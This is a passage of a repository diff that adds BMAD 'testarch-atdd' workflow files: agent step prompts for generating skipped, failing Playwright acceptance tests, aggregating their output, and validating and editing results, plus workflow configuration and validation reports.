description: 'Subagent: Generate FAILING E2E tests (TDD red phase)'
subagent: true
outputFile: '/tmp/tea-atdd-e2e-tests-{{timestamp}}.json'
---
# Subagent 4B: Generate Failing E2E Tests (TDD Red Phase)
## SUBAGENT CONTEXT
This is an **isolated subagent** running in parallel with API failing test generation.
**What you have from parent workflow:**
- Story acceptance criteria from Step 1
- Test strategy and user journey scenarios from Step 3
- Knowledge fragments loaded: fixture-architecture, network-first, selector-resilience
- Config: test framework, Playwright Utils enabled/disabled
**Your task:** Generate E2E tests that will FAIL because the feature UI is not implemented yet (TDD RED PHASE).
---
## MANDATORY EXECUTION RULES
- 📖 Read this entire subagent file before acting
- ✅ Generate FAILING E2E tests ONLY
- ✅ Tests MUST fail when run (UI not implemented yet)
- ✅ Output structured JSON to temp file
- ✅ Follow knowledge fragment patterns
- ❌ Do NOT generate API tests (that's subagent 4A)
- ❌ Do NOT generate passing tests (this is TDD red phase)
- ❌ Do NOT run tests (that's step 5)
---
## SUBAGENT TASK
### 1. Identify User Journeys from Acceptance Criteria
From the story acceptance criteria (Step 1 output), identify:
- Which UI flows will be created for this story
- User interactions required
- Expected visual states
- Success/error messages expected
**Example Acceptance Criteria:**
```
Story: User Registration
- As a user, I can navigate to /register page
- I can fill in email and password fields
- I can click "Register" button
- System shows success message and redirects to dashboard
- System shows error if email already exists
```
### 2. Browser Interaction (Selector Verification)
**Automation mode:** `config.tea_browser_automation`
If `auto` (fall back to MCP if CLI unavailable; if neither available, generate from best practices):
- Open the target page first, then verify selectors with a snapshot:
`playwright-cli -s=tea-atdd-{{timestamp}} open <target_url>`
`playwright-cli -s=tea-atdd-{{timestamp}} snapshot` → map refs to Playwright locators
- ref `{role: "button", name: "Submit"}``page.getByRole('button', { name: 'Submit' })`
- ref `{role: "textbox", name: "Email"}``page.getByRole('textbox', { name: 'Email' })`
- `playwright-cli -s=tea-atdd-{{timestamp}} close` when done
If `cli` (CLI only — do NOT fall back to MCP; generate from best practices if CLI unavailable):
- Open the target page first, then verify selectors with a snapshot:
`playwright-cli -s=tea-atdd-{{timestamp}} open <target_url>`
`playwright-cli -s=tea-atdd-{{timestamp}} snapshot` → map refs to Playwright locators
- ref `{role: "button", name: "Submit"}``page.getByRole('button', { name: 'Submit' })`
- ref `{role: "textbox", name: "Email"}``page.getByRole('textbox', { name: 'Email' })`
- `playwright-cli -s=tea-atdd-{{timestamp}} close` when done
> **Session Hygiene:** Always close sessions using `playwright-cli -s=tea-atdd-{{timestamp}} close`. Do NOT use `close-all` — it kills every session on the machine and breaks parallel execution.
If `mcp`:
- Use MCP tools for selector verification (current behavior)
If `none`:
- Generate selectors from best practices without browser verification
### 3. Generate FAILING E2E Test Files
For each user journey, create test file in `tests/e2e/[feature].spec.ts`:
**Test Structure (ATDD - Red Phase):**
```typescript
import { test, expect } from '@playwright/test';
test.describe('[Story Name] E2E User Journey (ATDD)', () => {
test.skip('[P0] should complete user registration successfully', async ({ page }) => {
// THIS TEST WILL FAIL - UI not implemented yet
await page.goto('/register');
// Expect registration form but will get 404 or missing elements
await page.fill('[name="email"]', 'newuser@example.com');
await page.fill('[name="password"]', 'SecurePass123!');
await page.click('button:has-text("Register")');
// Expect success message and redirect
await expect(page.getByText('Registration successful!')).toBeVisible();
await page.waitForURL('/dashboard');
});
test.skip('[P1] should show error if email exists', async ({ page }) => {
// THIS TEST WILL FAIL - UI not implemented yet
await page.goto('/register');
await page.fill('[name="email"]', 'existing@example.com');
await page.fill('[name="password"]', 'SecurePass123!');
await page.click('button:has-text("Register")');
// Expect error message
await expect(page.getByText('Email already exists')).toBeVisible();
});
});
```
**CRITICAL ATDD Requirements:**
- ✅ Use `test.skip()` to mark tests as intentionally failing (red phase)
- ✅ Write assertions for EXPECTED UI behavior (even though not implemented)
- ✅ Use resilient selectors: getByRole, getByText, getByLabel (from selector-resilience)
- ✅ Follow network-first patterns if API calls involved (from network-first)
- ✅ Test complete user journeys from acceptance criteria
- ✅ Include priority tags [P0], [P1], [P2], [P3]
- ✅ Use proper TypeScript types
- ✅ Deterministic waits (no hard sleeps)
**Why test.skip():**
- Tests are written correctly for EXPECTED UI behavior
- But we know they'll fail because UI isn't implemented
- `test.skip()` documents this is intentional (TDD red phase)
- Once UI is implemented, remove `test.skip()` to verify green phase
### 4. Track Fixture Needs
Identify fixtures needed for E2E tests:
- Authentication fixtures (if journey requires logged-in state)
- Network mocks (if API calls involved)
- Test data fixtures
**Do NOT create fixtures yet** - just track what's needed for aggregation step.
---
## OUTPUT FORMAT
Write JSON to temp file: `/tmp/tea-atdd-e2e-tests-{{timestamp}}.json`
```json
{
"success": true,
"subagent": "atdd-e2e-tests",
"tests": [
{
"file": "tests/e2e/user-registration.spec.ts",
"content": "[full TypeScript test file content with test.skip()]",
"description": "ATDD E2E tests for user registration journey (RED PHASE)",
"expected_to_fail": true,
"acceptance_criteria_covered": [
"User can navigate to /register",
"User can fill registration form",
"System shows success message on registration",
"System shows error if email exists"
],
"priority_coverage": {
"P0": 1,
"P1": 1,
"P2": 0,
"P3": 0
}
}
],
"fixture_needs": ["registrationPageMock"],
"knowledge_fragments_used": ["fixture-architecture", "network-first", "selector-resilience"],
"test_count": 2,
"tdd_phase": "RED",
"summary": "Generated 2 FAILING E2E tests for user registration story"
}
```
**On Error:**
```json
{
"success": false,
"subagent": "atdd-e2e-tests",
"error": "Error message describing what went wrong",
"partial_output": {
/* any tests generated before error */
}
}
```
---
## EXIT CONDITION
Subagent completes when:
- ✅ All user journeys from acceptance criteria have test files
- ✅ All tests use `test.skip()` (documented failing tests)
- ✅ All tests assert EXPECTED UI behavior (not placeholder assertions)
- ✅ Resilient selectors used (getByRole, getByText)
- ✅ JSON output written to temp file
- ✅ Fixture needs tracked
**Subagent terminates here.** Parent workflow will read output and proceed to aggregation.
---
## 🚨 SUBAGENT SUCCESS METRICS
### ✅ SUCCESS:
- All E2E tests generated with test.skip()
- Tests assert expected UI behavior (not placeholders)
- Resilient selectors used (getByRole, getByText)
- JSON output valid and complete
- No API/component/unit tests included (out of scope)
- Tests follow knowledge fragment patterns
### ❌ FAILURE:
- Generated passing tests (wrong - this is RED phase)
- Tests without test.skip() (will break CI)
- Placeholder assertions (expect(true).toBe(true))
- Brittle selectors used (CSS classes, XPath)
- Did not follow knowledge fragment patterns
- Invalid or missing JSON output

View File

@@ -0,0 +1,370 @@
---
name: 'step-04c-aggregate'
description: 'Aggregate subagent outputs and complete ATDD test infrastructure'
outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
nextStepFile: './step-05-validate-and-complete.md'
---
# Step 4C: Aggregate ATDD Test Generation Results
## STEP GOAL
Read outputs from parallel subagents (API + E2E failing test generation), aggregate results, verify TDD red phase compliance, and create supporting infrastructure.
---
## MANDATORY EXECUTION RULES
- 📖 Read the entire step file before acting
- ✅ Speak in `{communication_language}`
- ✅ Read subagent outputs from temp files
- ✅ Verify all tests are marked with test.skip() (TDD red phase)
- ✅ Generate shared fixtures based on fixture needs
- ✅ Write all generated test files to disk
- ❌ Do NOT remove test.skip() (that's done after feature implementation)
- ❌ Do NOT run tests yet (that's step 5 - verify they fail)
---
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
- 💾 Record outputs before proceeding
- 📖 Load the next step only when instructed
## CONTEXT BOUNDARIES:
- Available context: config, subagent outputs from temp files
- Focus: aggregation and TDD validation
- Limits: do not execute future steps
- Dependencies: Step 4A and 4B subagent outputs
---
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise.
### 1. Read Subagent Outputs
**Read API test subagent output:**
```javascript
const apiTestsPath = '/tmp/tea-atdd-api-tests-{{timestamp}}.json';
const apiTestsOutput = JSON.parse(fs.readFileSync(apiTestsPath, 'utf8'));
```
**Read E2E test subagent output:**
```javascript
const e2eTestsPath = '/tmp/tea-atdd-e2e-tests-{{timestamp}}.json';
const e2eTestsOutput = JSON.parse(fs.readFileSync(e2eTestsPath, 'utf8'));
```
**Verify both subagents succeeded:**
- Check `apiTestsOutput.success === true`
- Check `e2eTestsOutput.success === true`
- If either failed, report error and stop (don't proceed)
---
### 2. Verify TDD Red Phase Compliance
**CRITICAL TDD Validation:**
**Check API tests:**
```javascript
apiTestsOutput.tests.forEach((test) => {
// Verify test.skip() is present
if (!test.content.includes('test.skip(')) {
throw new Error(`ATDD ERROR: ${test.file} missing test.skip() - tests MUST be skipped in red phase!`);
}
// Verify not placeholder assertions
if (test.content.includes('expect(true).toBe(true)')) {
throw new Error(`ATDD ERROR: ${test.file} has placeholder assertions - must assert EXPECTED behavior!`);
}
// Verify expected_to_fail flag
if (!test.expected_to_fail) {
throw new Error(`ATDD ERROR: ${test.file} not marked as expected_to_fail!`);
}
});
```
**Check E2E tests:**
```javascript
e2eTestsOutput.tests.forEach((test) => {
// Same validation as API tests
if (!test.content.includes('test.skip(')) {
throw new Error(`ATDD ERROR: ${test.file} missing test.skip() - tests MUST be skipped in red phase!`);
}
if (test.content.includes('expect(true).toBe(true)')) {
throw new Error(`ATDD ERROR: ${test.file} has placeholder assertions!`);
}
if (!test.expected_to_fail) {
throw new Error(`ATDD ERROR: ${test.file} not marked as expected_to_fail!`);
}
});
```
**If validation passes:**
```
✅ TDD Red Phase Validation: PASS
- All tests use test.skip()
- All tests assert expected behavior (not placeholders)
- All tests marked as expected_to_fail
```
---
### 3. Write All Test Files to Disk
**Write API test files:**
```javascript
apiTestsOutput.tests.forEach((test) => {
fs.writeFileSync(test.file, test.content, 'utf8');
console.log(`✅ Created (RED): ${test.file}`);
});
```
**Write E2E test files:**
```javascript
e2eTestsOutput.tests.forEach((test) => {
fs.writeFileSync(test.file, test.content, 'utf8');
console.log(`✅ Created (RED): ${test.file}`);
});
```
---
### 4. Aggregate Fixture Needs
**Collect all fixture needs from both subagents:**
```javascript
const allFixtureNeeds = [...apiTestsOutput.fixture_needs, ...e2eTestsOutput.fixture_needs];
// Remove duplicates
const uniqueFixtures = [...new Set(allFixtureNeeds)];
```
---
### 5. Generate Fixture Infrastructure
**Create fixtures needed by ATDD tests:**
(Similar to automate workflow, but may be simpler for ATDD since feature not implemented)
**Minimal fixtures for TDD red phase:**
```typescript
// tests/fixtures/test-data.ts
export const testUserData = {
email: 'test@example.com',
password: 'SecurePass123!',
};
```
Note: More complete fixtures will be needed when moving to green phase.
---
### 6. Generate ATDD Checklist
**Create ATDD checklist document:**
```markdown
# ATDD Checklist: [Story Name]
## TDD Red Phase (Current)
✅ Failing tests generated
- API Tests: {api_test_count} tests (all skipped)
- E2E Tests: {e2e_test_count} tests (all skipped)
## Acceptance Criteria Coverage
{list all acceptance criteria with test coverage}
## Next Steps (TDD Green Phase)
After implementing the feature:
1. Remove `test.skip()` from all test files
2. Run tests: `npm test`
3. Verify tests PASS (green phase)
4. If any tests fail:
- Either fix implementation (feature bug)
- Or fix test (test bug)
5. Commit passing tests
## Implementation Guidance
Feature endpoints to implement:
{list endpoints from API tests}
UI components to implement:
{list UI flows from E2E tests}
```
**Save checklist:**
```javascript
fs.writeFileSync(`{test_artifacts}/atdd-checklist-{story-id}.md`, checklistContent, 'utf8');
```
---
### 7. Calculate Summary Statistics
**Aggregate test counts:**
```javascript
const resolvedMode = subagentContext?.execution?.resolvedMode; // Provided by Step 4's orchestration context
const subagentExecutionLabel =
resolvedMode === 'sequential'
? 'SEQUENTIAL (API → E2E)'
: resolvedMode === 'agent-team'
? 'AGENT-TEAM (API + E2E)'
: resolvedMode === 'subagent'
? 'SUBAGENT (API + E2E)'
: 'PARALLEL (API + E2E)';
const performanceGainLabel =
resolvedMode === 'sequential'
? 'baseline (no parallel speedup)'
: resolvedMode === 'agent-team' || resolvedMode === 'subagent'
? '~50% faster than sequential'
: 'mode-dependent';
const summary = {
tdd_phase: 'RED',
total_tests: apiTestsOutput.test_count + e2eTestsOutput.test_count,
api_tests: apiTestsOutput.test_count,
e2e_tests: e2eTestsOutput.test_count,
all_tests_skipped: true,
expected_to_fail: true,
fixtures_created: uniqueFixtures.length,
acceptance_criteria_covered: [
...apiTestsOutput.tests.flatMap((t) => t.acceptance_criteria_covered),
...e2eTestsOutput.tests.flatMap((t) => t.acceptance_criteria_covered),
],
knowledge_fragments_used: [...apiTestsOutput.knowledge_fragments_used, ...e2eTestsOutput.knowledge_fragments_used],
subagent_execution: subagentExecutionLabel,
performance_gain: performanceGainLabel,
};
```
**Store summary for Step 5:**
```javascript
fs.writeFileSync('/tmp/tea-atdd-summary-{{timestamp}}.json', JSON.stringify(summary, null, 2), 'utf8');
```
---
## OUTPUT SUMMARY
Display to user:
```
✅ ATDD Test Generation Complete (TDD RED PHASE)
🔴 TDD Red Phase: Failing Tests Generated
📊 Summary:
- Total Tests: {total_tests} (all with test.skip())
- API Tests: {api_tests} (RED)
- E2E Tests: {e2e_tests} (RED)
- Fixtures Created: {fixtures_created}
- All tests will FAIL until feature implemented
✅ Acceptance Criteria Coverage:
{list all covered criteria}
🚀 Performance: {performance_gain}
📂 Generated Files:
- tests/api/[feature].spec.ts (with test.skip())
- tests/e2e/[feature].spec.ts (with test.skip())
- tests/fixtures/test-data.ts
- {test_artifacts}/atdd-checklist-{story-id}.md
📝 Next Steps:
1. Implement the feature
2. Remove test.skip() from tests
3. Run tests → verify PASS (green phase)
4. Commit passing tests
✅ Ready for validation (Step 5 - verify tests fail as expected)
```
---
## EXIT CONDITION
Proceed to Step 5 when:
- ✅ All test files written to disk (API + E2E)
- ✅ All tests verified to have test.skip()
- ✅ All fixtures created
- ✅ ATDD checklist generated
- ✅ Summary statistics calculated and saved
- ✅ Output displayed to user
---
### 8. Save Progress
**Save this step's accumulated work to `{outputFile}`.**
- **If `{outputFile}` does not exist** (first save), create it with YAML frontmatter:
```yaml
---
stepsCompleted: ['step-04c-aggregate']
lastStep: 'step-04c-aggregate'
lastSaved: '{date}'
---
```
Then write this step's output below the frontmatter.
- **If `{outputFile}` already exists**, update:
- Add `'step-04c-aggregate'` to `stepsCompleted` array (only if not already present)
- Set `lastStep: 'step-04c-aggregate'`
- Set `lastSaved: '{date}'`
- Append this step's output to the appropriate section.
Load next step: `{nextStepFile}`
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Both subagents succeeded
- All tests have test.skip() (TDD red phase compliant)
- All tests assert expected behavior (not placeholders)
- All test files written to disk
- ATDD checklist generated
### ❌ SYSTEM FAILURE:
- One or both subagents failed
- Tests missing test.skip() (would break CI)
- Tests have placeholder assertions
- Test files not written to disk
- ATDD checklist missing
**Master Rule:** TDD RED PHASE requires ALL tests to use test.skip() and assert expected behavior.

View File

@@ -0,0 +1,106 @@
---
name: 'step-05-validate-and-complete'
description: 'Validate ATDD outputs and summarize'
outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
---
# Step 5: Validate & Complete
## STEP GOAL
Validate ATDD outputs and provide a completion summary.
## MANDATORY EXECUTION RULES
- 📖 Read the entire step file before acting
- ✅ Speak in `{communication_language}`
- ✅ Validate against the checklist
---
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
- 💾 Record outputs before proceeding
- 📖 Load the next step only when instructed
## CONTEXT BOUNDARIES:
- Available context: config, loaded artifacts, and knowledge fragments
- Focus: this step's goal only
- Limits: do not execute future steps
- Dependencies: prior steps' outputs (if any)
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise.
## 1. Validation
Use `checklist.md` to validate:
- Prerequisites satisfied
- Test files created correctly
- Checklist matches acceptance criteria
- Tests are designed to fail before implementation
- [ ] CLI sessions cleaned up (no orphaned browsers)
- [ ] Temp artifacts stored in `{test_artifacts}/` not random locations
Fix any gaps before completion.
---
## 2. Polish Output
Before finalizing, review the complete output document for quality:
1. **Remove duplication**: Progressive-append workflow may have created repeated sections — consolidate
2. **Verify consistency**: Ensure terminology, risk scores, and references are consistent throughout
3. **Check completeness**: All template sections should be populated or explicitly marked N/A
4. **Format cleanup**: Ensure markdown formatting is clean (tables aligned, headers consistent, no orphaned references)
---
## 3. Completion Summary
Report:
- Test files created
- Checklist output path
- Key risks or assumptions
- Next recommended workflow (e.g., implementation or `automate`)
---
## 4. Save Progress
**Save this step's accumulated work to `{outputFile}`.**
- **If `{outputFile}` does not exist** (first save), create it with YAML frontmatter:
```yaml
---
stepsCompleted: ['step-05-validate-and-complete']
lastStep: 'step-05-validate-and-complete'
lastSaved: '{date}'
---
```
Then write this step's output below the frontmatter.
- **If `{outputFile}` already exists**, update:
- Add `'step-05-validate-and-complete'` to `stepsCompleted` array (only if not already present)
- Set `lastStep: 'step-05-validate-and-complete'`
- Set `lastSaved: '{date}'`
- Append this step's output to the appropriate section.
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Step completed in full with required outputs
### ❌ SYSTEM FAILURE:
- Skipped sequence steps or missing outputs
**Master Rule:** Skipping steps is FORBIDDEN.

View File

@@ -0,0 +1,65 @@
---
name: 'step-01-assess'
description: 'Load an existing output for editing'
nextStepFile: './step-02-apply-edit.md'
---
# Step 1: Assess Edit Target
## STEP GOAL:
Identify which output should be edited and load it.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 📖 Read the complete step file before taking any action
- ✅ Speak in `{communication_language}`
### Role Reinforcement:
- ✅ You are the Master Test Architect
### Step-Specific Rules:
- 🎯 Ask the user which output file to edit
- 🚫 Do not edit until target is confirmed
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
## CONTEXT BOUNDARIES:
- Available context: existing outputs
- Focus: select edit target
- Limits: no edits yet
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly.
### 1. Identify Target
Ask the user to provide the output file path or select from known outputs.
### 2. Load Target
Read the provided output file in full.
### 3. Confirm
Confirm the target and proceed to edit.
Load next step: `{nextStepFile}`
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Target identified and loaded
### ❌ SYSTEM FAILURE:
- Proceeding without a confirmed target

View File

@@ -0,0 +1,60 @@
---
name: 'step-02-apply-edit'
description: 'Apply edits to the selected output'
---
# Step 2: Apply Edits
## STEP GOAL:
Apply the requested edits to the selected output and confirm changes.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 📖 Read the complete step file before taking any action
- ✅ Speak in `{communication_language}`
### Role Reinforcement:
- ✅ You are the Master Test Architect
### Step-Specific Rules:
- 🎯 Only apply edits explicitly requested by the user
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
## CONTEXT BOUNDARIES:
- Available context: selected output and user changes
- Focus: apply edits only
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly.
### 1. Confirm Requested Changes
Restate what will be changed and confirm.
### 2. Apply Changes
Update the output file accordingly.
### 3. Report
Summarize the edits applied.
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Changes applied and confirmed
### ❌ SYSTEM FAILURE:
- Unconfirmed edits or missing update

View File

@@ -0,0 +1,67 @@
---
name: 'step-01-validate'
description: 'Validate workflow outputs against checklist'
outputFile: '{test_artifacts}/atdd-validation-report.md'
validationChecklist: '../checklist.md'
---
# Step 1: Validate Outputs
## STEP GOAL:
Validate outputs using the workflow checklist and record findings.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 📖 Read the complete step file before taking any action
- ✅ Speak in `{communication_language}`
### Role Reinforcement:
- ✅ You are the Master Test Architect
### Step-Specific Rules:
- 🎯 Validate against `{validationChecklist}`
- 🚫 Do not skip checks
## EXECUTION PROTOCOLS:
- 🎯 Follow the MANDATORY SEQUENCE exactly
- 💾 Write findings to `{outputFile}`
## CONTEXT BOUNDARIES:
- Available context: workflow outputs and checklist
- Focus: validation only
- Limits: do not modify outputs in this step
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly.
### 1. Load Checklist
Read `{validationChecklist}` and list all criteria.
### 2. Validate Outputs
Evaluate outputs against each checklist item.
### 3. Write Report
Write a validation report to `{outputFile}` with PASS/WARN/FAIL per section.
## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
### ✅ SUCCESS:
- Validation report written
- All checklist items evaluated
### ❌ SYSTEM FAILURE:
- Skipped checklist items
- No report produced

View File

@@ -0,0 +1,73 @@
---
validationDate: 2026-01-27
workflowName: testarch-atdd
workflowPath: {project-root}/src/workflows/testarch/bmad-testarch-atdd
validationStatus: COMPLETE
completionDate: 2026-01-27 10:03:10
---
# Validation Report: testarch-atdd
**Validation Started:** 2026-01-27 09:50:21
**Validator:** BMAD Workflow Validation System (Codex)
**Standards Version:** BMAD Workflow Standards
## File Structure & Size
- workflow.md present: YES
- instructions.md present: YES
- workflow.yaml present: YES
- step files found: 8
**Step File Sizes:**
- steps-c/step-01-preflight-and-context.md: 101 lines [GOOD]
- steps-c/step-02-generation-mode.md: 71 lines [GOOD]
- steps-c/step-03-test-strategy.md: 70 lines [GOOD]
- steps-c/step-04-generate-tests.md: 70 lines [GOOD]
- steps-c/step-05-validate-and-complete.md: 61 lines [GOOD]
- steps-e/step-01-assess.md: 51 lines [GOOD]
- steps-e/step-02-apply-edit.md: 46 lines [GOOD]
- steps-v/step-01-validate.md: 53 lines [GOOD]
- workflow-plan.md present: YES
## Frontmatter Validation
- No frontmatter violations found
## Critical Path Violations
- No {project-root} hardcoded paths detected in body
- No dead relative links detected
## Menu Handling Validation
- No menu structures detected (linear step flow) [N/A]
## Step Type Validation
- Last step steps-v/step-01-validate.md has no nextStepFile (final step OK)
- Step type validation assumes linear sequence (no branching/menu). Workflow-plan.md present for reference. [INFO]
## Output Format Validation
- Templates present: atdd-checklist-template.md
- Steps with outputFile in frontmatter:
- steps-c/step-04-generate-tests.md
- steps-v/step-01-validate.md
## Validation Design Check
- checklist.md present: YES
- Validation steps folder (steps-v) present: YES
## Instruction Style Check
- All steps include STEP GOAL, MANDATORY EXECUTION RULES, EXECUTION PROTOCOLS, CONTEXT BOUNDARIES, and SUCCESS/FAILURE metrics
## Summary
- Validation completed: 2026-01-27 10:03:10
- Critical issues: 0
- Warnings: 0 (informational notes only)
- Readiness: READY (manual review optional)

View File

@@ -0,0 +1,116 @@
---
validationDate: 2026-01-27
workflowName: testarch-atdd
workflowPath: {project-root}/src/workflows/testarch/bmad-testarch-atdd
validationStatus: COMPLETE
completionDate: 2026-01-27 10:24:01
---
# Validation Report: testarch-atdd
**Validation Started:** 2026-01-27 10:24:01
**Validator:** BMAD Workflow Validation System (Codex)
**Standards Version:** BMAD Workflow Standards
## File Structure & Size
- workflow.md present: YES
- instructions.md present: YES
- workflow.yaml present: YES
- step files found: 8
**Step File Sizes:**
- steps-c/step-01-preflight-and-context.md: 100 lines [GOOD]
- steps-c/step-02-generation-mode.md: 70 lines [GOOD]
- steps-c/step-03-test-strategy.md: 69 lines [GOOD]
- steps-c/step-04-generate-tests.md: 69 lines [GOOD]
- steps-c/step-05-validate-and-complete.md: 60 lines [GOOD]
- steps-e/step-01-assess.md: 50 lines [GOOD]
- steps-e/step-02-apply-edit.md: 45 lines [GOOD]
- steps-v/step-01-validate.md: 52 lines [GOOD]
- workflow-plan.md present: YES
## Frontmatter Validation
- No frontmatter violations found
## Critical Path Violations
### Config Variables (Exceptions)
Standard BMAD config variables treated as valid exceptions: bmb_creations_output_folder, communication_language, document_output_language, output_folder, planning_artifacts, project-root, project_name, test_artifacts, user_name
- No {project-root} hardcoded paths detected in body
- No dead relative links detected
- No module path assumptions detected
**Status:** ✅ PASS - No critical violations
## Menu Handling Validation
- No menu structures detected (linear step flow) [N/A]
## Step Type Validation
- steps-c/step-01-preflight-and-context.md: Init [PASS]
- steps-c/step-02-generation-mode.md: Middle [PASS]
- steps-c/step-03-test-strategy.md: Middle [PASS]
- steps-c/step-04-generate-tests.md: Middle [PASS]
- steps-c/step-05-validate-and-complete.md: Final [PASS]
- Step type validation assumes linear sequence (no branching/menu). Workflow-plan.md present for reference. [INFO]
## Output Format Validation
- Templates present: atdd-checklist-template.md
- Steps with outputFile in frontmatter:
- steps-c/step-04-generate-tests.md
- steps-v/step-01-validate.md
- checklist.md present: YES
## Validation Design Check
- Validation steps folder (steps-v) present: YES
- Validation step(s) present: step-01-validate.md
- Validation steps reference checklist data and auto-proceed
## Instruction Style Check
- Instruction style: Prescriptive (appropriate for TEA quality/compliance workflows)
- Steps emphasize mandatory sequence, explicit success/failure metrics, and risk-based guidance
## Collaborative Experience Check
- Overall facilitation quality: GOOD
- Steps use progressive prompts and clear role reinforcement; no laundry-list interrogation detected
- Flow progression is clear and aligned to workflow goals
## Subagent Optimization Opportunities
- No high-priority subagent optimizations identified; workflow already uses step-file architecture
- Pattern 1 (grep/regex): N/A for most steps
- Pattern 2 (per-file analysis): already aligned to validation structure
- Pattern 3 (data ops): minimal data file loads
- Pattern 4 (parallel): optional for validation only
## Cohesive Review
- Overall assessment: GOOD
- Flow is linear, goals are clear, and outputs map to TEA artifacts
- Voice and tone consistent with Test Architect persona
- Recommendation: READY (minor refinements optional)
## Plan Quality Validation
- Plan file present: workflow-plan.md
- Planned steps found: 8 (all implemented)
- Plan implementation status: Fully Implemented
## Summary
- Validation completed: 2026-01-27 10:24:01
- Critical issues: 0
- Warnings: 0 (informational notes only)
- Readiness: READY (manual review optional)

View File

@@ -0,0 +1,21 @@
# Workflow Plan: testarch-atdd
## Create Mode (steps-c)
- step-01-preflight-and-context.md
- step-02-generation-mode.md
- step-03-test-strategy.md
- step-04-generate-tests.md
- step-05-validate-and-complete.md
## Validate Mode (steps-v)
- step-01-validate.md
## Edit Mode (steps-e)
- step-01-assess.md
- step-02-apply-edit.md
## Outputs
- {test_artifacts}/atdd-checklist-{story_id}.md
- Failing acceptance tests under {project-root}/tests

View File

@@ -0,0 +1,41 @@
---
name: bmad-testarch-atdd
description: Generate failing acceptance tests using TDD cycle. Use when user says 'lets write acceptance tests' or 'I want to do ATDD'
web_bundle: true
---
# Acceptance Test-Driven Development (ATDD)
**Goal:** Generate failing acceptance tests before implementation using TDD red-green-refactor cycle
**Role:** You are the Master Test Architect.
---
## WORKFLOW ARCHITECTURE
This workflow uses **tri-modal step-file architecture**:
- **Create mode (steps-c/)**: primary execution flow
- **Validate mode (steps-v/)**: validation against checklist
- **Edit mode (steps-e/)**: revise existing outputs
---
## INITIALIZATION SEQUENCE
### 1. Mode Determination
"Welcome to the workflow. What would you like to do?"
- **[C] Create** — Run the workflow
- **[R] Resume** — Resume an interrupted workflow
- **[V] Validate** — Validate existing outputs
- **[E] Edit** — Edit existing outputs
### 2. Route to First Step
- **If C:** Load `steps-c/step-01-preflight-and-context.md`
- **If R:** Load `steps-c/step-01b-resume.md`
- **If V:** Load `steps-v/step-01-validate.md`
- **If E:** Load `steps-e/step-01-assess.md`

View File

@@ -0,0 +1,46 @@
# Test Architect workflow: bmad-testarch-atdd
name: bmad-testarch-atdd
# prettier-ignore
description: 'Generate failing acceptance tests using TDD cycle. Use when the user says "lets write acceptance tests" or "I want to do ATDD"'
# Critical variables from config
config_source: "{project-root}/_bmad/tea/config.yaml"
output_folder: "{config_source}:output_folder"
test_artifacts: "{config_source}:test_artifacts"
user_name: "{config_source}:user_name"
communication_language: "{config_source}:communication_language"
document_output_language: "{config_source}:document_output_language"
date: system-generated
# Workflow components
installed_path: "."
instructions: "./instructions.md"
validation: "./checklist.md"
template: "./atdd-checklist-template.md"
# Variables and inputs
variables:
test_dir: "{project-root}/tests" # Root test directory
# Output configuration
default_output_file: "{test_artifacts}/atdd-checklist-{story_id}.md"
# Required tools
required_tools:
- read_file # Read story markdown, framework config
- write_file # Create test files, checklist, factory stubs
- create_directory # Create test directories
- list_files # Find existing fixtures and helpers
- search_repo # Search for similar test patterns
tags:
- qa
- atdd
- test-architect
- tdd
- red-green-refactor
execution_hints:
interactive: false # Minimize prompts
autonomous: true # Proceed without user input unless blocked
iterative: true

View File

@@ -0,0 +1,6 @@
---
name: bmad-testarch-automate
description: 'Expand test automation coverage for codebase. Use when user says "lets expand test coverage" or "I want to automate tests"'
---
Follow the instructions in [workflow.md](workflow.md).

Some files were not shown because too many files have changed in this diff Show More